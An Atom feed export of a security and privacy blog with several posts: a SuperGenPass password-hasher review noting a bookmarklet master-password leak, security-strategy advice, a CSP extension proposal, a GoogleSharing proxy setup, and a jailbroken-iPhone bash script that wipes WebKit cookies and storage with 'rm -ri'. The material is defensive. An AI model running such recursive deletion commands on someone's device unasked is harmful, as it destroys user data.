                As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as <a title="The Anatomy of the Twitter Attack" href="http://www.techcrunch.com/2009/07/19/the-anatomy-of-the-twitter-attack/">numerous</a>, <a title="Hotmail Breach Exposes Passwords" href="http://blogs.zdnet.com/security/?p=4538">examples</a>, <a title="Security Risk as People use Same Password on All Websites" href="http://www.telegraph.co.uk/technology/news/6125081/Security-risk-as-people-use-same-password-on-all-websites.html">have</a>, <a title="Spotify Breach Exposes other Accounts" href="http://www.theregister.co.uk/2009/03/04/spotify_breach/">demonstrated</a>, that's not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I'm proposing then check out <a href="http://supergenpass.com/" title="SuperGenPass">SuperGenPass</a> (or <a href="http://singe.za.net/sgp/" title="Singe's SuperGenPass">my customised version</a>). The security geek details follow after the jump.<br /> <p>Some of my colleagues use password databases such as <a title="KeePassX" href="http://www.keepassx.org/">KeyPassX</a>, or the browser's &quot;remember password&quot; feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:</p> 
<ul> 
<li>You have all your passwords written down somewhere - at some point you may not be the only one looking at this list<br /></li> 
<li>That list isn't always protected - e.g. using Firefox's &quot;remember password&quot; feature without a master password could expose your password on physical theft of the device</li> 
<li>Portability - if you aren't at your machine you can't log in. KeePassX is quite portable, but then ends up making more copies of the password list.<br /></li> 
</ul> 
<p>None of these are killers, but they aren't ideal. This is where <a title="SuperGenPass" href="http://supergenpass.com/">SuperGenPass</a> comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won't give them the password for another site. The main advantage is that there's no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It's ridiculously portable with a <a title="Bookmarklets" href="http://supergenpass.com/#Start">bookmarklet</a> (don't use this, see below), <a href="data:text/html;charset=utf-8;base64,PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI%2BDQo8aHRtbCBsYW5nPSJlbiI%2BDQoNCgk8aGVhZD4NCg0KCQk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI%2BDQoJCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD0zMjAiPg0KCQk8bGluayByZWw9ImFsdGVybmF0aXZlIiBsYW5nPSJmciIgaHJlZmxhbmc9ImZyIiB0aXRsZT0iRW4gZnJhbsOnYWlzIiBocmVmPSJpbmRleC5mciI%2BDQoJCTxsaW5rIHJlbD0iYWx0ZXJuYXRpdmUiIGxhbmc9ImVzIiBocmVmbGFuZz0iZXMiIHRpdGxlPSJFbiBlc3Bhw7FvbCIgaHJlZj0iaW5kZXguZXMiPg0KCQk8bGluayByZWw9ImFsdGVybmF0aXZlIiBsYW5nPSJkZSIgaHJlZmxhbmc9ImRlIiB0aXRsZT0iQXVmIERldXRzY2giIGhyZWY9ImluZGV4LmRlIj4NCgkJPGxpbmsgcmVsPSJhbHRlcm5hdGl2ZSIgbGFuZz0icHQtYnIiIGhyZWZsYW5nPSJwdC1iciIgdGl0bGU9Ik5vIHBvcnR1Z3XDqnMgYnJhc2lsZWlybyIgaHJlZj0iaW5kZXgucHQtYnIiPg0KCQk8bGluayByZWw9ImFsdGVyb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J21hdC5icicsJ21lZC5icicsJ21pbC5icicsJ211cy5icicsJ25ldC5icicsJ25vbS5icicsJ25vdC5icicsJ250ci5icicsJ29kby5icicsJ29yZy5icicsJ3BwZy5icicsJ3Byby5icicsJ3BzYy5icicsJ3BzaS5icicsJ3FzbC5icicsJ3JlYy5icicsJ3NsZy5icicsJ3Nydi5icicsJ3RtcC5icicsJ3RyZC5icicsJ3R1ci5icicsJ3R2LmJyJywndmV0LmJyJywnemxnLmJyJywnY29tLmJzJywnbmV0LmJzJywnb3JnLmJzJywnYWIuY2EnLCdiYy5jYScsJ21iLmNhJywnbmIuY2EnLCduZi5jYScsJ25sLmNhJywnbnMuY2EnLCdudC5jYScsJ251LmNhJywnb24uY2EnLCdwZS5jYScsJ3FjLmNhJywnc2suY2EnLCd5ay5jYScsJ2djLmNhJywnY28uY2snLCduZXQuY2snLCdvcmcuY2snLCdlZHUuY2snLCdnb3YuY2snLCdjb20uY24nLCdlZHUuY24nLCdnb3YuY24nLCduZXQuY24nLCdvcmcuY24nLCdhYy5jbicsJ2FoLmNuJywnYmouY24nLCdjcS5jbicsJ2dkLmNuJywnZ3MuY24nLCdneC5jbicsJ2d6LmNuJywnaGIuY24nLCdoZS5jbicsJ2hpLmNuJywnaGsuY24nLCdobC5jbicsJ2huLmNuJywnamwuY24nLCdqcy5jbicsJ2xuLmNuJywnbW8uY24nLCdubS5jbicsJ254LmNuJywncWguY24nLCdzYy5jbicsJ3NuLmNuJywnc2guY24nLCdzeC5jbicsJ3RqLmNuJywndHcuY24nLCd4ai5jbicsJ3h6LmNuJywneW4uY24nLCd6ai5jbicsJ2FydHMuY28nLCdjb20uY28nLCdlZHUuY28nLCdmaXJtLmNvJywnZ292LmNvJywnaW5mby5jbycsJ2ludC5jbycsJ25vbS5jbycsJ21pbC5jbycsJ29yZy5jbycsJ3JlYy5jbycsJ3N0b3JlLmNvJywnd2ViLmNvJywnYWMuY3InLCdjby5jcicsJ2VkLmNyJywnZmkuY3InLCdnby5jcics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csJ2JlLnR0JywnZGUudHQnLCdhdC50dCcsJ2F1LnR0JywnY28udHYnLCdjb20udHcnLCduZXQudHcnLCdvcmcudHcnLCdlZHUudHcnLCdpZHYudHcnLCdnb3YudHcnLCdjb20udWEnLCduZXQudWEnLCdvcmcudWEnLCdlZHUudWEnLCdnb3YudWEnLCdhYy51ZycsJ2NvLnVnJywnb3IudWcnLCdnby51ZycsJ2NvLnVrJywnbWUudWsnLCdvcmcudWsnLCdlZHUudWsnLCdsdGQudWsnLCdwbGMudWsnLCduZXQudWsnLCdzY2gudWsnLCduaWMudWsnLCdhYy51aycsJ2dvdi51aycsJ25ocy51aycsJ3BvbGljZS51aycsJ21vZC51aycsJ2RuaS51cycsJ2ZlZC51cycsJ2NvbS51eScsJ2VkdS51eScsJ25ldC51eScsJ29yZy51eScsJ2d1Yi51eScsJ21pbC51eScsJ2NvbS52ZScsJ25ldC52ZScsJ29yZy52ZScsJ2NvLnZlJywnZWR1LnZlJywnZ292LnZlJywnbWlsLnZlJywnYXJ0cy52ZScsJ2JpYi52ZScsJ2Zpcm0udmUnLCdpbmZvLnZlJywnaW50LnZlJywnbm9tLnZlJywncmVjLnZlJywnc3RvcmUudmUnLCd0ZWMudmUnLCd3ZWIudmUnLCdjby52aScsJ25ldC52aScsJ29yZy52aScsJ2NvbS52bicsJ2Jpei52bicsJ2VkdS52bicsJ2dvdi52bicsJ25ldC52bicsJ29yZy52bicsJ2ludC52bicsJ2FjLnZuJywncHJvLnZuJywnaW5mby52bicsJ2hlYWx0aC52bicsJ25hbWUudm4nLCdjb20udnUnLCdlZHUudnUnLCduZXQudnUnLCdvcmcudnUnLCdkZS52dScsJ2NoLnZ1JywnZnIudnUnLCdjb20ud3MnLCduZXQud3MnLCdvcmcud3MnLCdnb3Yud3MnLCdlZHUud3MnLCdhYy55dScsJ2NvLnl1JywnZWR1Lnl1Jywnb3JnLnl1JywnY29tLnllJywnbmV0LnllJywnb3JnLnllJywnZ292LnllJywnZWR1LnllJywnbWls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FyYWN0ZXJzPC9wPg0KDQoJCQkJPHA%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdlbmVyYXRlIj48L3A%2BDQoNCgkJCQk8aDQ%2BPGxhYmVsIGZvcj0iR2VuUGFzc3dkIj5Zb3VyIGdlbmVyYXRlZCBwYXNzd29yZDwvbGFiZWw%2BPC9oND4NCgkJCQk8cD48aW5wdXQgaWQ9IkdlblBhc3N3ZCIgbmFtZT0iR2VuUGFzc3dkIiB0eXBlPSJ0ZXh0Ij48L3A%2BDQoNCgkJCTwvZm9ybT4NCg0KCQk8L2Rpdj4NCg0KDQoJPC9ib2R5Pg0KDQo8L2h0bWw%2B">data URI</a>, <a href="http://supergenpass.com/mobile/">straight JavaScript</a>, <a href="http://michael.gorven.za.net/files/supergenpass.py">Python</a> (<a href="https://code.launchpad.net/%7Emgiuca/pysgp/">alternative</a>) and <a href="http://mene.za.net/passgen/">J2MEE</a> implementations.</p> 
<p>There are a few potential problems that need to be considered (they all have solutions) however:</p> 
<ul> 
<li>The bookmarklet runs in the same context as the website you're logging into. This means javascript on the site (or POST'ed/GET'ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There's a better explanation <a href="http://akibjorklund.com/2009/supergenpass-is-not-that-secure" title="SuperGenPass is not that Secure">here</a>, and I put up a demo <a href="http://singe.za.net/exploit/sgp.html" title="SuperGenPass Bookmarlet Master Password Leak">here</a>. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).</li>
<ul>
<li>Update: The bookmarklet now uses some random variable and function names to reduce the changes that a straight capture of the master password will work. I'd still avoid the bookmarklet for important stuff.<br /></li>
</ul> 
<li>The algorithm doesn't include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn't a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my <a href="http://singe.za.net/sgp/" title="Singe's SuperGenPass">own</a>, more on that later.</li> 
<li>The default password length is 10. That's fine, but given research <a href="http://news.electricalchemy.net/2009/10/password-cracking-in-cloud-part-5.html" title="Password Cracking in the Cloud">like this</a>, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.</li> 
<li>MD5 - this isn't a problem. The knee jerk I hear from some security people is that is uses MD5 and <a href="http://www.win.tue.nl/hashclash/rogue-ca/" title="MD5 Considered Harmful">that's broken</a>. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we're safe here (I think, crypto nerds got any comments?)</li> 
</ul> 
<p>In light of the above, I've made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it's author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.</p> 
<p>In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using <a href="/sgp/" title="singe's SuperGenPass">my customised version</a>, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.</p> 
<p>Thanks to <a href="http://russell.rucus.net/" title="Russell Cloran">Russell</a> for pointing SGP out in the first place, and <a href="http://michael.gorven.za.net/" title="Michael Gorven">Michael</a> for the Python and J2MEE version and the changes.<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1021-Anti-Predictions-for-2011.html" rel="alternate" title="Anti-Predictions for 2011" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-01-10T09:53:20Z</published>
        <updated>2011-01-10T12:01:45Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1021</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1021</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1021-guid.html</id>
        <title type="html">Anti-Predictions for 2011</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Come the turn of the year, many people draw up list of predictions for the next. This list is slightly different, instead of focusing on what new threats, vulnerabilities or attacks we'll see, this is a list of some things that, if not already handled should be in your security strategy for this year. Some organisations are further along than others, and this list is targeted at the average ZA organization based on my observations. (Full disclosure, some of the items relate to services my employer offers, that's just because I believe in them).<br /> <ul> 
<li>Get a handle of what you have online. Many orgs have a much larger 
Internet presence than what's sitting in their hosting center. Cheap 
hosting, elastic hosting, service providers with their own 
infrastructure (particularly those catering directly to business units),
 half forgotten subsidiaries &amp; business partners all put services 
online that tend to get overlooked. But expose your company to brand 
damage or access to your network. Best of all, this is cheap &amp; quick
 to do. Consolidating the results into controlled hosting areas and 
applying consistent security standards isn't unfortunately.</li> 
<li>Check up on exceptions to the basics. By now most have at least a 
basic patch, virus, change &amp; configuration management process for 
servers. If you don't, start. If you do, start checking on exceptions 
such as;


<ul> 
<li>How many servers don't we know about &amp; why?<br /> </li> 
<li>How many servers don't have AV &amp; patches up to date?</li> 
<li>How many changes that didn't go through change control were made?</li> 
</ul>
These are harder questions to answer, but as any pentester will tell 
you, we're good at finding those machines and that's our quick 'n easy 
in.

</li> 
<li>Third party patches. Microsoft did some good work in sorting out 
their patch release cycles and it's fairly easy to get those patches 
applied regularly. Unfortunately the attacks have moved to the harder to
 patch, less secure software on machines operated by less savvy users. 
This means you need to start managing non-MS patches, and you need to do
 it on more than just servers. Worse still, each third party software 
provider has their own update mechanism which is hard to centrally 
manage (in a Window environment at least). Big ticket patch management 
tools have long had this capability but they also come with the price 
tag. Cheaper tools such as <a href="https://secunia.com/vulnerability_scanning/corporate/">Secunia CSI</a> or even the right vulnerability scanner can alert on what needs doing.</li> 
<li>Mobile security *processes* - People have hyped mobile security for 
years and we're at a point where there's a reasonable expectation that a
 majority of information workers have at least company email &amp; 
calendar data on their phones. The most likely threat is of the device 
being lost or trivially accessed. Figure out what controls you can push 
to the most number of devices (e.g. MS ActiveSync allows passwords and 
lock times to be enforced &amp; iDevices or RIM devices have an extended
 set of controls). More importantly however, is to implement processes 
for using these. They don't need to be perfect, but at a minimum 
employees should be able to report lost or stolen phones and have a 
remote wipe command sent &amp; passwords reset.</li> 
<li>Physical Access Management - It's 2011 and there are still wildly 
inconsistent ways in which this is managed. Make sure there is proper 
equipment sign in/out, that guards actually check bags &amp; that 
legitimate data is entered (or go for the <a href="http://37signals.com/svn/posts/946-tips-on-how-to-work-smarter-from-ricardo-semler?4">Ricardo Semler approach</a>,
 but don't pay for an awkward middle ground). I still regularly sign in 
as Osama Bin Laden and walk in/out with laptops hidden in my bag. There 
are some nice advances in tech in ZA too; <a href="http://www.mydigitallife.co.za/index.php?option=com_content&amp;task=view&amp;id=1047498&amp;Itemid=38">electronic sign in devices</a>
 that look up ID numbers OTA and take copies of fingerprints. Next up 
make sure there's adequate camera coverage of your offices &amp; that 
suspicious behavior is actually queried. A guy in a suit should not be an untested edge case.<br /> </li> 
</ul>These items need some real thought, and the above is intended merely as pointers, rather than full implementation guides. As for actual predictions, we've had some fun with that at work and will hopefully add to the noise with those soon.<br /> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1020-GoogleSharing-For-Other-Browsers.html" rel="alternate" title="GoogleSharing For Other Browsers" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-12-19T22:32:37Z</published>
        <updated>2010-12-19T22:52:09Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1020</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1020</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1020-guid.html</id>
        <title type="html">GoogleSharing For Other Browsers</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>GoogleSharing is something I've written about before, and strongly believe in. It's a way of proxying connections to unauthenticated Google services in such a way that:</p> 
<ul> 
<li>Google can't work out who you are (random session cookies are used)<br /></li> 
<li>Google can't work out that you're using a proxy</li> 
<li>The proxy can't see your searches (if using SSL)</li> 
</ul>However, right now it only runs in Firefox. While there are some people looking to port it to other browsers, there are some options available in the meantime, especially for mobile browsers.<br /> <p>The <strong>first</strong>, and most portable is to use the front-end I've <a title="Scroogle is Dead, Long Live GoogleSharing" href="http://www.singe.za.net/blog/archives/1005-Scroogle-is-Dead,-Long-Live-GoogleSharing.html">previously blogged about</a>. It's currently sitting at <a href="http://1984.za.net/" title="GoogleSharing Front-End">http://1984.za.net/</a>. Unfortunately, this will not be encrypted, and the webserver will be able to see your searches, however, the other benefits remain, and you can use it when you're not at your computer.<br /></p> 
<p>The <strong>second</strong>, and which allows you to continue to use Google as normal, and works for more than just search, is a dynamic proxy.pac file hosted <a href="http://1984.za.net/proxy.php" title="GoogleSharing Proxy.Pac generator">here</a>. By default it gives you a working proxy.pac that will proxy *all* Google services (even authenticated ones, to be fixed) via GoogleSharing. The options are:</p> 
<ul> 
<li>proxy.php - will load the default .pac which will specify a DIRECT connection, without proxy for non-Google services</li> 
<li>proxy.php?proxy=&lt;proxy&gt;&amp;port=&lt;port&gt; - will allow a specific proxy &amp; port to be specified if you are being one e.g proxy.php?proxy=192.168.1.1&amp;port=3128</li> 
<li>proxy.php?proxy=&lt;proxy&gt;&amp;port=&lt;port&gt;&amp;socks - will do the same as the previous, except specify the default proxy as a SOCKS proxy</li> 
</ul> 
<p>Additionally, it will blackhole Google Ads and the Facebook like button on non-webkit browsers (on webkit browsers it will ignore the blackhole, to be fixed).</p> 
<p>This is in alpha right now, but I've been using it for a week on my iPhone (more on how to change 3G proxy settings on the iPhone later) with no major problems. Feel free to make a copy of the output and create your own proxy.pac. Any feedback would be appreciated.</p> 
<p>Todo:</p> 
<ul> 
<li>Only proxy unauthenticated Google services</li> 
<li>Implement a blackhole that Webkit respects</li> 
<li>Provide a full ad-blocker blacklist from EasyList as an optional extra<br /></li> 
</ul> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1018-Browser-Security-better-defenses.html" rel="alternate" title="Browser Security - better defenses" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-11-29T16:20:57Z</published>
        <updated>2010-12-03T11:35:42Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1018</wfw:comment>
    
        <slash:comments>5</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1018</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1018-guid.html</id>
        <title type="html">Browser Security - better defenses</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>
While sitting is a couple of talks at BlackHat Abu Dhabi, I got to thinking about how we can improve browser defenses. Much of the problems we have are due to the same problem that has plagued systems since Captain Crunch first blew his whistle at 2600 hertz; the data and control channel are the same. Your browser can't tell the difference between attacker injected script and legitimate scripts and happily responds to both. It's what allows XSS and CSRF attacks, and even SQLi. Framebusting is a great example of this, a site owner doesn't want his page to sit in a frame, but has to compete in the arms race against attackers who want the site to be framed. What we need is some way for a site-owner to specify a security policy, that exists outside of the application. The site-owner should be able to specify that the site shouldn't be framed, and the browser respect that, without an attacker able to inject an alternate set of instructions (or at least not trivially via the actual app). Right now, even if a site-owner is aware of the problem, with a smart security team, all they can do is compete in the arms race.</p> 
<p> There's a corollary to the problem however, third-party content. The web is made of mashups. Even single-source content providers still include a raft of third-party content, from RSS feeds, to advertising or JQuery. This introduces a whole set of potential interconnected vulnerability that a site owner can't control. If an ad provider is hacked and used to distribute malware, then the site-owner's only choice (if detected) is to remove the ad. <br /></p> 
<p> </p> 
<p>We need something that can give a site owner control back of their application. Something that can be specified outside of the page content. A security policy that puts all the controls we have available to us with software (enforced security policy &amp; ability to disable features not required) back in the hand of the right people. Once we get it, there's a whole separate discussion about how to get it widely supported and implemented, but we would need to agree on what that should be first. <br /></p> <p>Right now, a proposal for something like the first requirement exists in the form of the <a title="Content Security Policy" href="https://people.mozilla.com/%7Ebsterne/content-security-policy/">Content Security Policy</a> put forward by Mozilla. This allows for a security policy to be specified outside the page, as a header returned by the webserver. Primarily, it controls what sources third party content can be loaded from, and prevents ways of getting around that. Additionally, it allows for policy directives that control additional features of the browsing experience. Following our framebusting example, one could use the <strong>frame-ancestors</strong> directive to ensure that your site can't be framed (in browsers which support CSP) by malicious sites. No JS in the page or frame attempts from third-parties could say otherwise. CSP is pretty great, but...</p> 
<p>Like many defenses, the attacks have moved on. If you look at the number of new attacks enabled by HTML5, or attacks using Flash/SilverLight, limiting scripting and 10 policy directives won't cut it (but provides significantly more capability than nothing). We need something more comprehensive, and more future proof. What I'd like to propose, in a very early state looking for feedback, is an extension to CSP, where we have a policy directive for every browser feature. This could be done as some sort of capability tree where either an &quot;on/off/whitelist/blacklist&quot; rule can be applied. For example, image the following depth-first view of a tree leg &quot;external data -&gt; css -&gt; images -&gt; background-image&quot; At the highest level, we could provide a global white/black list of the origins of external data, or turn it off completely. The next level down, we could do the same for CSS only, or completely disable it if our site doesn't require it. Continuing down the tree until it is possible for us to provide highly-granular control of individual CSS directives specifically. Thus, once could create very simple policies, or more complex granular policies.<br /></p> 
<p>This would buy us two improvements to CSP as I see it. The first is that we could avoid a reactive update of CSP every time a new attack using functionality not catered for by CSP comes out. The second benefit, is that the potential &quot;attack surface&quot; for an application could be greatly limited. Imagine being able to profile your app and provide a specific policy enabling only the functionality required by your app. Any attacks requiring such functionality would fail.</p> 
<p>For the second problem, there are far less advanced tools available. The closet to it are the new <a href="http://www.w3.org/TR/html5/the-iframe-element.html#attr-iframe-sandbox">HTML5 &lt;iframe&gt; sandbox</a> directives, but they fall way short. What we need is something that can apply to all third party content (much like CSP, image sources, javascript sources, style sources etc.), and that provides a granular capabilities model. For this we could use the same capability tree from above. We'd need to work out how a site-owner defined policy and third-party enforced policy would relate, but it makes sense that a site-owner should not be able to re-enable stuff when including it as third-party content that the external site-owner has set. If not, attackers could just disable anti-framebusting CSP in their frame. So, a site-owner would only be able to further disable functionality when including third-party content. This could comfortable fit into the exiting CSP proposal, which already allows policy directives to be applied per origin.<br /></p> 
<p>&#160;This would allow a site owner to enforce significantly more control over content she was serving from third parties. For example, content from an ad network could be limited to only the functionality required (e.g. a specific image source and inclusion method, and possible explicit JS functionality to allow the monkey to be punched) and any malware served through it would be fairly castrated. Likewise, one could include content like Google Analytics or the FaceBook like button, but prevent them from setting a cookie.</p> 
<p>In summary, I am proposing a discussion be started on extending CSP to provide a more granular control and enforcement model and further extending it to allow the enforcement to extend to how a site-owner wants to include third-party content. I'm possibly being quite naive about all of this, and would love some feedback. Truthfully, I'm not sure what the next steps would be, but we need to invest more time into fixing the web, rather than just breaking it.<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1016-Killing-the-Evercookie-Part2-MobileSafari.html" rel="alternate" title="Killing the Evercookie - Part2 MobileSafari" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-10-18T09:54:33Z</published>
        <updated>2010-12-01T16:10:35Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1016</wfw:comment>
    
        <slash:comments>7</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1016</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1016-guid.html</id>
        <title type="html">Killing the Evercookie - Part2 MobileSafari</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>
UPDATE: An iPhone developer has turned this into an <a href="http://modmyi.com/cydia/package.php?id=32881">awesome little SBSetting addon</a>. You'll still need a jailbroken phone but can install it via Cydia.<br /></p>
<p>My <a href="http://www.singe.za.net/blog/archives/1014-Killing-the-Evercookie.html">previous experiments</a> in killing the Evercookie in Safari sparked similar posts describing how to do the same for <a href="http://jeremiahgrossman.blogspot.com/2010/10/killing-evercookie-google-chrome-wo.html">Chrome</a> and <a href="http://www.monirulislam.com/general-web-desktop-application-security-news/how-to-remove-evercookie-from-firefox-3/">Firefox</a>. However, my second most frequent browsing platform is my iPhone, and I thought I would investigate how Apple IOS, MobileSafari &amp; embedded WebKit fares. <strong>It does much worse</strong>. There are two problems; the first is, any app which embeds MobileWebKit has it's own stores for normal cookies, browser cache and HTML5 storage. Even if you go to your Safari settings (Settings -&gt; Safari -&gt; Clear {Cookies|Cache} &amp; Settings -&gt; Safari -&gt; Databases -&gt; Edit -&gt; (delete all present) ) and delete everything, you haven't cleared the cookies, caches &amp; stores in the other apps (e.g. even a simple cookie set for <span style="text-decoration: underline;"><a href="http://singe.za.net">singe.za.net</a></span> in Twitter.app's embedded browser, will still exist). The second problem is that, in MobileSafari, even if you do clear your MobileSafari store, the HTML5 localStorage mechanism isn't properly cleared and the evercookie reloads itself.</p> <p>To hard clear all the WebKit datastores, including normal cookies, I put the following quick script together (you'll need a JailBroken iPhone). It will iterate through all WebKit databases, including MobileSafari's and clear out the evercookie. You'll need to close (not suspend) all apps running WebKit for this to be effective (the evercookie reloads itself in seconds if they're open). Note, it produces ugly output, and prompts before you delete files, but I wanted some visibility into who is storing what where. The first run deleted over 30 cookies in various places.<br /></p> 
<p><font face="courier new,courier,monospace">#!/bin/bash<br />echo &quot;Deleting evercookie locations Safari missed (see samy.pl/evercookie)&quot;<br /><br />for DIRNAME in $(find /var/mobile/Applications -maxdepth 3 -type d -print|grep WebKit); do<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; #Delete HTML5 SQLite DB<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; ls &quot;$DIRNAME&quot;/Databases/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; rm -ri &quot;$DIRNAME&quot;/Databases/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; rm -ri /var/mobile/Library/WebKit/Databases/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; #Delete HTML5 local storage<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; ls &quot;$DIRNAME&quot;/LocalStorage/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; rm -ri &quot;$DIRNAME&quot;/LocalStorage/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; rm -ri /var/mobile/Library/WebKit/LocalStorage/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; #Delete normal cookies<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; ls &quot;$DIRNAME&quot;/Cookies/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; rm -ri &quot;$DIRNAME&quot;/Cookies/*<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; rm -ri /var/mobile/Library/WebKit/Cookies/*<br />done</font></p> 
<p>I know this and my previous entry are scorched earth tactics. I'm okay with that for initial work and for browsers I don't use as my primary, due to limited privacy controls. Eventually these controls will need to be built into browsers (control to prevent, visibility into what is set when allowed, and an ability to delete). Something I can see all browsers (possibly except Chrome, because Google wouldn't be able to make money monetising your personal details then) doing.</p> 
<p>In short, what does Apple need to do to fix this? They first need to update the MobileSafari preferences to properly clear HTML5 local storage. Currently, there is no way to do this without jailbreaking. Second, they need to add the ability to clear the history/cache/cookies/HTML5 storage for all apps with an embedded WebKit browser. How they do it is up to them, but a central option to clear all would be a good start.</p> 
<p>Update: Clarified what the two separate problems are, and added a section on what Apple should do to fix. Also, hello to all the Slashdot and ThreatPost readers :)<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1017-Adobe-Flash-LSO-Microsoft-Silverlight-LSO-Cookies.html" rel="alternate" title="Adobe Flash LSO &amp; Microsoft Silverlight LSO Cookies" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2010-11-22T20:28:09Z</published>
        <updated>2010-11-22T23:35:03Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1017</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1017</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1017-guid.html</id>
        <title type="html">Adobe Flash LSO &amp; Microsoft Silverlight LSO Cookies</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>I've been playing with ways of nuking evercookie-style identifier dropping (note: killing the evercookie specifically is silly, I'm aiming for unknown reimplementation too) and have worked some stuff out about LSOs. LSO are Local Storage Objects, they are ways Flash and Silverlight can store info on your machine rather than the remote server. The most common uses appear to be to drop an identifier, which behaves in exactly the same way as a cookie, or to store preferences (e.g. youtube volume settings).</p> 
<p>The following information pertains to OSX, I'll get to other OS'es but I imagine their implementations won't vary greatly. <br /></p> <p>On OSX, three locations are relevant for these:</p> 
<ol> 
